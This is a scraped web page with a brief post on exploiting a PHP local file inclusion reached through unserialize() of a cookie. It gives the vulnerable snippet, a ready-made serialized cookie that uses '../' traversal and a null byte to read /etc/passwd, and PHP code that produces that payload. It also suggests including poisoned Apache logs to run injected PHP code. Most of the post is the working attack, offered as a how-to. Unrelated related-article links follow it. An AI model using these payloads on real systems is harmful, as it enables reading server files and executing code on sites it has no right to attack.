how to use this bugs unserialize()

简介:  quite obvious, you need to set a cookie like this:user_settings=a:1:{s:4:"lang";s:32:".
 <?php

$settings=unserialize($_COOKIE[user_settings]);
include("include/lang/".$settings['lang'].".php");

?>
quite obvious, you need to set a cookie like this:

user_settings=a:1:{s:4:"lang";s:32:"../../../../../../../etc/passwd[null char]";}


it is the result of:

[code lang=php]

<?php

$settings=array();
$settings['lang']="../../../../../../../etc/passwd/x00";
$settings=serialize($settings);
echo $settings;

?>

[/code]

the same with apache logs or something...
where you have injected some php code
目录
相关文章
|
SQL 编译器 API
Efficiently Compiling Efficient Query Plans for Modern Hardware 论文解读
这应该是SQL查询编译的一篇经典文章了,作者是著名的Thomas Neumann,主要讲解了TUM的HyPer数据库中对于CodeGen的应用。 在morsel-driven那篇paper 中,介绍了HyPer的整个执行框架,会以task为单位处理一个morsel的数据,而执行的处理逻辑(一个pipeline job)就被编译为一个函数。这篇paper则具体讲如何实现动态编译。
373 0
Efficiently Compiling Efficient Query Plans for Modern Hardware 论文解读
|
前端开发 测试技术 Ruby
为什么我还没 Fix 你的 Issue
本文讲的是为什么我还没 Fix 你的 Issue,我早就体会到了 GitHub 的亲切,它可以给我发送一封我在两周前早晨时扫过一眼的关于你的相关信息的邮件。从那以后,我已经简单地想过了几次,有一次我在淋浴的时候,我得到了一个模糊的想法,我知道是什么造成的 —— 但我不确定,因为我不记得具体细节。
1089 0
|
API C# C++
Managed Debugging Assistant &#39;PInvokeStackImbalance&#39; has detected a problem in 解决方案
because regular C functions work differently than the Windows API functions; their "calling conventions" are different, meaning how they pass around parameters is different.
1135 0
(转) The care and maintenance of your adviser
The care and maintenance of your adviser   Ever since the advent of graduate school, students have complained about their advisers.
1145 0